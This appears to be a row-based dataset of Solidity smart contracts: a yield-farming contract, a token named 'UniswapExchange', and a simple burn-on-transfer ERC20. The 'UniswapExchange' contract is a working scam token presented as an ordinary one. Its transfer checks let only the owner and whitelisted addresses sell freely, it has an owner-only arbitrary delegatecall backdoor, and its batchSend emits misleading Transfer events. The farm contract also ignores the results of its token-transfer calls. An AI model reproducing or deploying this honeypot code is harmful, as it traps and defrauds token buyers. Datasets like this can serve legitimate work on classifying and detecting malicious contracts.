return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IMigratorChef {
function migrate(IERC20 token) external returns (IERC20);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract TestaFarmV1Plus is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 amount;
mapping (uint256 => uint256) pendingTesta;
mapping (uint256 => uint256) rewardDebt;
}
struct PoolInfo {
IERC20 lpToken;
IUniswapV2Pair uniswap;
uint112 startLiquidity;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accTestaPerShare;
uint256 debtIndexKey;
uint256 startBlock;
uint256 initStartBlock;
}
address public testa;
uint256 public testaPerBlock;
uint256 public constant BONUS_MULTIPLIER = 10;
IMigratorChef public migrator;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public activeReward = 10;
uint256 public fiveHundred = 40;
uint256 public thousand = 50;
int public progressive = 0;
int public maxProgressive;
int public minProgressive;
uint256 public numberOfBlock;
uint112 public startLiquidity;
uint112 public currentLiquidity;
AggregatorV3Interface public priceFeed;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
address _testa,
uint256 _testaPerBlock,
int _maxProgressive,
int _minProgressive,
uint256 activateAtBlock,
address _priceFeed
) public {
testa = _testa;
testaPerBlock = _testaPerBlock;
maxProgressive = _maxProgressive;
minProgressive = _minProgressive;
numberOfBlock = activateAtBlock;
priceFeed = AggregatorV3Interface(_priceFeed);
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "Not EOA");
_;
}
function setTestaPerBlock(uint256 _testaPerBlock) public onlyOwner{
testaPerBlock = _testaPerBlock;
}
function setProgressive(int _maxProgressive, int _minProgressive) public onlyOwner{
maxProgressive = _maxProgressive;
minProgressive = _minProgressive;
}
function setNumberOfBlock(uint256 _numberOfBlock) public onlyOwner{
numberOfBlock = _numberOfBlock;
}
function setActiveReward(uint256 _activeReward) public onlyOwner{
activeReward = _activeReward;
}
function harvestAndWithdraw(uint256 _pid, uint256 _amount) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (lpSupply != 0), "Must have lpSupply and reach maxProgressive to harvest");
require(user.amount >= _amount, "No lpToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
safeTestaTransfer(msg.sender, testaAmount);
}
emit Withdraw(msg.sender, _pid, _amount);
}
function harvest(uint256 _pid) public nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (lpSupply != 0), "Must have lpSupply and reach maxProgressive to harvest");
require(user.amount > 0, "No lpToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
safeTestaTransfer(msg.sender, testaAmount);
}
function firstActivate(uint256 _pid) public onlyEOA nonReentrant {
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock == pool.startBlock);
require(block.number >= pool.initStartBlock, "Cannot activate until the specific block time arrive");
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function activate(uint256 _pid) public onlyEOA nonReentrant {
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock != pool.startBlock);
require(getCountDown(_pid) >= numberOfBlock, "Cannot activate until specific amount of blocks pass");
if(currentLiquidity > pool.startLiquidity){
progressive++;
}else{
progressive--;
}
if(progressive <= minProgressive){
progressive = minProgressive;
clearPool(_pid);
}else if(progressive >= maxProgressive){
progressive = maxProgressive;
}
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function getTestaPoolBalance() public view returns (uint256){
return IERC20(testa).balanceOf(address(this));
}
function getProgressive() public view returns (int){
return progressive;
}
function getLatestBlock() public view returns (uint256) {
return block.number;
}
function getCountDown(uint256 _pid) public view returns (uint256){
require(getLatestBlock() > getStartedBlock(_pid));
return getLatestBlock().sub(getStartedBlock(_pid));
}
function getStartedBlock(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
return pool.startBlock;
}
function getLiquidity(uint256 _pid) public view returns (uint112){
PoolInfo storage pool = poolInfo[_pid];
( , uint112 _reserve1, ) = pool.uniswap.getReserves();
return _reserve1;
}
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp > 0, "Round not complete");
return price;
}
function getTestaReward(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
(uint112 _reserve0, uint112 _reserve1, ) = pool.uniswap.getReserves();
uint256 reserve = uint256(_reserve0).mul(1e18).div(uint256(_reserve1));
uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10);
uint256 testaPerDollar = ethPerDollar.mul(1e18).div(reserve);
uint256 _activeReward = activeReward.mul(1e18);
uint256 testaAmount = _activeReward.mul(1e18).div(testaPerDollar);
return testaAmount;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 startBlock, uint256 _allocPoint, address _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
IUniswapV2Pair uniswap = IUniswapV2Pair(_lpToken);
( , uint112 _reserve1, ) = uniswap.getReserves();
poolInfo.push(PoolInfo({
lpToken: IERC20(_lpToken),
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accTestaPerShare: 0,
debtIndexKey: 0,
uniswap: uniswap,
startLiquidity: _reserve1,
startBlock: startBlock,
initStartBlock: startBlock
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from);
}
function clearPool(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
pool.accTestaPerShare = 0;
pool.lastRewardBlock = block.number;
pool.debtIndexKey++;
}
function pendingTesta(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTestaPerShare = pool.accTestaPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accTestaPerShare = accTestaPerShare.add(testaReward.mul(1e18).div(lpSupply));
}
uint256 rewardDebt = user.rewardDebt[pool.debtIndexKey];
return user.amount.mul(accTestaPerShare).div(1e18).sub(rewardDebt).add(user.pendingTesta[pool.debtIndexKey]);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 testaReward = multiplier.mul(testaPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accTestaPerShare = pool.accTestaPerShare.add(testaReward.mul(1e18).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
user.pendingTesta[pool.debtIndexKey] = pendingTesta(_pid, msg.sender);
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "No lpToken cannot withdraw");
updatePool(_pid);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt[pool.debtIndexKey] = 0;
}
function safeTestaTransfer(address _to, uint256 _amount) internal {
uint256 testaBal = IERC20(testa).balanceOf(address(this));
if (_amount > testaBal) {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, testaBal));
} else {
testa.call(abi.encodeWithSignature("transfer(address,uint256)", _to, _amount));
}
}
} | 0 | 249 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,574 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract BurningToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "BURN";
name = "Burning Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x0282a6739b16E6d27C522db7680fD0BF6e965408] = _totalSupply;
emit Transfer(address(0), 0x0282a6739b16E6d27C522db7680fD0BF6e965408, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
uint burnedTokens = safeDiv(tokens, 100);
uint newTokens = safeSub(tokens, burnedTokens);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], newTokens);
_totalSupply = safeSub(_totalSupply, burnedTokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
uint burnedTokens = safeDiv(tokens, 100);
uint newTokens = safeSub(tokens, burnedTokens);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], newTokens);
_totalSupply = safeSub(_totalSupply, burnedTokens);
emit Transfer(from, to, tokens);
return true;
}
